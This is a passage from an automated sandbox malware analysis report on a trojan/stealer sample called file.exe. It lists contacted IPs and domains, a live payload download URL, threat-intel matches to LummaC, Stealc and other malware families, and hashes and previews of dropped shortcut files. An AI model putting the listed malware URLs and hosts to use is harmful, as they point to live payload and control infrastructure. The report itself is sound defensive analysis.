http://185.215.113.16/off/def.exe	file.exe, file.exe, 00000000.00000003.1695602727.0000000000BCA000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1802595444.0000000000BD1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1787510427.0000000000BD0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schema.org/Organization	chromecache_129.6.dr	false		high
https://channel9.msdn.com/	chromecache_121.6.dr, chromecache_109.6.dr	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.1507163475.000000000587B000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507237485.0000000005878000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1507351465.0000000005878000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/dotnet/try	chromecache_121.6.dr, chromecache_109.6.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
13.107.246.43	s-part-0015.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.186.36	unknown	United States	15169	GOOGLEUS	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.164	www.google.com	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.8

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1559393
Start date and time:	2024-11-20 13:26:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@24/70@11/8
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 199.232.210.172, 184.28.89.167, 142.250.185.195, 142.250.186.174, 74.125.206.84, 88.221.170.101, 34.104.35.123, 192.229.221.95, 142.250.185.138, 142.250.185.74, 216.58.212.138, 142.250.184.234, 142.250.186.106, 142.250.186.138, 142.250.185.170, 142.250.186.42, 172.217.23.106, 172.217.18.10, 172.217.16.202, 142.250.185.202, 172.217.16.138, 142.250.74.202, 216.58.206.74, 142.250.186.74, 20.42.73.31, 2.19.126.137, 2.19.126.156, 13.74.129.1, 51.116.253.168, 13.107.21.237, 204.79.197.237, 217.20.57.37, 142.250.185.163, 93.184.221.240, 172.217.16.206
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, c-msn-com-nsatc.trafficmanager.net, clientservices.googleapis.com, browser.events.data.trafficmanager.net, learn.microsoft.com, onedscolprdeus21.eastus.cloudapp.azure.com, onedscolprdgwc01.germanywestcentral.cloudapp.azure.com, e11290.dspg.akamaiedge.net, mdec.nelreports.net.akamaized.net, go.microsoft.com, clients2.google.com, ocsp.digicert.com, star-azurefd-prod.trafficmanager.net, a1883.dscd.akamai.net, learn.microsoft.com.edgekey.net, update.googleapis.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, otelrules.azureedge.net, c-bing-com.dual-a-0034.a-msedge.net, ctldl.windowsupdate.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, browser.events.data.microsoft.com, edgedl.me.gvt1.com, e13636.dscb.akamaiedge.net, c.bing.com, learn-public.trafficmanager.net, go.microsoft.com.edgekey.net, dual-a-0034.a
Execution Graph export aborted for target file.exe, PID 4360 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
07:27:16	API Interceptor	23x Sleep call for process: file.exe modified

LLM Input / Output

Input	Output
URL: https://microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json { "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json { "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: Joe Sandbox AI	```json { "brands": [ "Microsoft" ] }
	```json { "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.43	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	VNC Sales.xlsx	Get hash	malicious	Unknown	Browse
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	http://customervoice.microsoft.com/Pages/ResponsePage.aspx?id=N_pyUL0QJkeR_KiXHZsVlyTB1Qoy7S9IkE8Ogzl8coFUM1RXUzBHU1RDUjlQOFBPUUE4QVRaS0pPSC4u	Get hash	malicious	HTMLPhisher	Browse
	EFT Remittance_(Rburt)CQDM.html	Get hash	malicious	Mamba2FA	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
13.107.246.45	https://pcefan.com/diary/index.php?st-manager=1&path=/click/track&id=4973&type=ranking&url=http://nam.dcv.ms/BxPVLH2cz4	Get hash	malicious	HTMLPhisher	Browse	nam.dcv.ms/BxPVLH2cz4
185.215.113.16	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/random.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16/off/def.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cook-rain.sbs	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
s-part-0017.t-0009.t-msedge.net	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	4eN2SiSDvl.exe	Get hash	malicious	INC Ransomware, Xmrig	Browse	13.107.246.45
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	2gWkB5jBPQ.exe	Get hash	malicious	INC Ransomware	Browse	13.107.246.45
	2qxCjBJF4P.exe	Get hash	malicious	INC Ransomware	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	AI_ChainedPackageFile.VistaSoftware.exe	Get hash	malicious	PureCrypter	Browse	13.107.246.45
	KEFttAEb.vbs	Get hash	malicious	PureCrypter	Browse	13.107.246.45
	AaronGiles(1).exe	Get hash	malicious	PureCrypter	Browse	13.107.246.45
s-part-0015.t-0009.t-msedge.net	file.exe	Get hash	malicious	Remcos	Browse	13.107.246.43
	zhbEGHo55P.exe	Get hash	malicious	LockBit ransomware	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.43
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.43
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.43
	VNC Sales.xlsx	Get hash	malicious	Unknown	Browse	13.107.246.43
	https://midlandtxconstruction.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPU5VVmliM0U9JnVpZD1VU0VSMTcxMDIwMjRVMDAxMDE3NDA=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.43
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.43
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.43
	https://www.google.it/url?q=https://www.google.ro/url?q=https://www.google.nl/url?q=ZFCKQSES42J831UCOWMB4MEAK36T3IE7YuQiApLjODz3yh4nNeW8uuQi&rct=XS%25RANDOM4%25wDnNeW8yycT&sa=t&esrc=nNeW8F%25RANDOM3%25A0xys8Em2FL&source=&cd=tS6T8%25RANDOM3%25Tiw9XH&cad=XpPkDfJX%25RANDOM4%25VS0Y&ved=xjnktlqryYWwZIBRrgvK&uact=&url=amp/graylinelaketahoe.com&c=E,1,BWhR2At2OZAdw2Kzdn7d-U-fLZRdgzpdTFbcA87JOQxek-SzsLBqKBG-KMVpA5JovWFRbO4mN3q2zPe1YDaTOG57b4G9v05-IgsJXqrG4om_58_65Os9ldlZ&typo=1	Get hash	malicious	Unknown	Browse	13.107.246.43

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	40.126.32.72
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	40.126.32.140
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	20.190.159.73
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	jokLq9gHyc.exe	Get hash	malicious	INC Ransomware	Browse	52.123.255.71
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	52.123.224.74
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
MICROSOFT-CORP-MSN-AS-BLOCKUS	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	40.126.32.72
	LADMAutoInstallService.exe.7z	Get hash	malicious	Unknown	Browse	40.126.32.140
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	20.190.159.73
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	jokLq9gHyc.exe	Get hash	malicious	INC Ransomware	Browse	52.123.255.71
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	52.123.224.74
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
CLOUDFLARENETUS	HXpVpoC9cr.exe	Get hash	malicious	FormBook	Browse	104.21.11.72
	https://groupjlansen.com/?klkzhkfz	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	104.18.11.207
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	sus.ps1	Get hash	malicious	LummaC	Browse	172.67.167.249
	https://webemail.instittute.click/management.html?bold=acc@lmm.gr	Get hash	malicious	Unknown	Browse	188.114.96.3
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	WSock.dll	Get hash	malicious	Ramnit	Browse	172.64.41.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	23.206.229.226
	aspweb88.exe	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	Reminder.exe	Get hash	malicious	PureCrypter	Browse	23.206.229.226
	https://orbistravelassistance.page/app/pages/login.php	Get hash	malicious	Unknown	Browse	23.206.229.226
	http://load.webdatahoster.com	Get hash	malicious	Unknown	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
	file.exe	Get hash	malicious	LummaC	Browse	23.206.229.226
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://etiv-tcaer.vercel.app/	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://hffa.studycentrecpfc.com/D9ns6.studycentrecpfc.com/bUhZb/	Get hash	malicious	HTMLPhisher	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	aspweb88.exe	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	aspweb88.exe	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://forms.office.com/e/sx5d94wMnA	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	AI_ChainedPackageFile.VistaSoftware.exe	Get hash	malicious	PureCrypter	Browse	4.245.163.56 184.28.90.27 13.107.246.45
	https://lmmoye.org/file/oL/xzw/	Get hash	malicious	Unknown	Browse	4.245.163.56 184.28.90.27 13.107.246.45
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	jokLq9gHyc.exe	Get hash	malicious	INC Ransomware	Browse	188.114.96.3
	LInp9ekGwk.exe	Get hash	malicious	INC Ransomware	Browse	188.114.96.3
	sus.ps1	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	AaronGiles(1).exe	Get hash	malicious	PureCrypter	Browse	188.114.96.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	IBKB.vbs	Get hash	malicious	AgentTesla, DBatLoader, PureLog Stealer	Browse	188.114.96.3

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 11:27:46 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.973530755508175
Encrypted:	false
SSDEEP:	48:850d3TvjKHRidAKZdA1oehwiZUklqehZy+3:85cnlOy
MD5:	1EA1BED64EBBCEA15CA345E0A78D0F8B
SHA1:	E4245312DDEE3649EC458B5800A0486F2013CF85
SHA-256:	0DC3834F124FF1E2842E7D7622DD637F759BDBCAF7D5CA58AE8F4E305FC6E317
SHA-512:	C16B3E973204BF449EC1A13313F74B280B6BF29F0A11EAA9F6F054242E98875FFA02FECC3A510705106DF93E11074F3FE4343944C7F7312F4910BCF6A5BF1897
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....N;..G;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItYvc....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYvc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYvc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYvc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYwc...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............i.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 11:27:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9868182806649703
Encrypted:	false
SSDEEP:	48:8L0d3TvjKHRidAKZdA1leh/iZUkAQkqeh+y+2:8Lcn/9Q3y
MD5:	EB022334398721B0E3419DE9E6B48553
SHA1:	472502B6070937BACDA1212D4138CFC2FF8838E6
SHA-256:	CEECB3E47D7F278C9C24CC91FFF3050FEA7BE09B215130EC8073A342911E0571
SHA-512:	17680D4017828632116D415C78736C28122DBC70077B5FA91B34574631E9162765C8CECF025866AD15060BE786691869B923C6F9B28497B433BABA889342A75E
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....M...G;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItYvc....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYvc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYvc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYvc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYwc...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............i.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Thu Oct 5 07:00:51 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.999812779028034
Encrypted:	false
SSDEEP:	48:8a0d3TvjbHRidAKZdA14t5eh7sFiZUkmgqeh7ssy+BX:8acnMnSy
MD5:	B2AC5C20ABB5945B555AB7E4B568D6D2
SHA1:	F4EDEEA831622E95539BDD886D9175C2634D366F
SHA-256:	AE23F5C3000C6883D3B588810A16B63233C55A30669A243C9B87F5447E2551EB
SHA-512:	1ED6F5B158FBF28784B738B5DE0129F5A1DDBE389FBD48625273117A5CF0C0D9403540445AE7889AA5ACF7AC0792B8B531CAD9CD7A85FEFDA20AD28891EBC3C9
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....C..b...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItYvc....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYvc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYvc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYvc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VEW.@...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............i.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Nov 20 11:27:45 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9864285149088623
Encrypted:	false
SSDEEP:	48:8Q0d3TvjKHRidAKZdA16ehDiZUkwqehKy+R:8QcnMEy
MD5:	3758134E9DD3F429064399E538E7C6C6
SHA1:	63141684D1B433F900534B206CA63C82C287BF94
SHA-256:	D8FA060C2FC0BFA2506DED6D5497EB24D7E456B78A37700C862F6A8F3C6495F9
SHA-512:	BB3EE9A36C4DBEF754FBAC98369D7E1E5DC99E429C88FBB4823B1F80D8E212B1A84C3AF63CD381B280C7A5EA930EFE2A2B009B4B549AD574F1BB5E4D59E94EE8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....sq..G;..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW)C..PROGRA~1..t......O.ItYvc....B...............J.....V...P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VtYvc....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VtYvc....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VtYvc..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VtYwc...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i..............i.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. 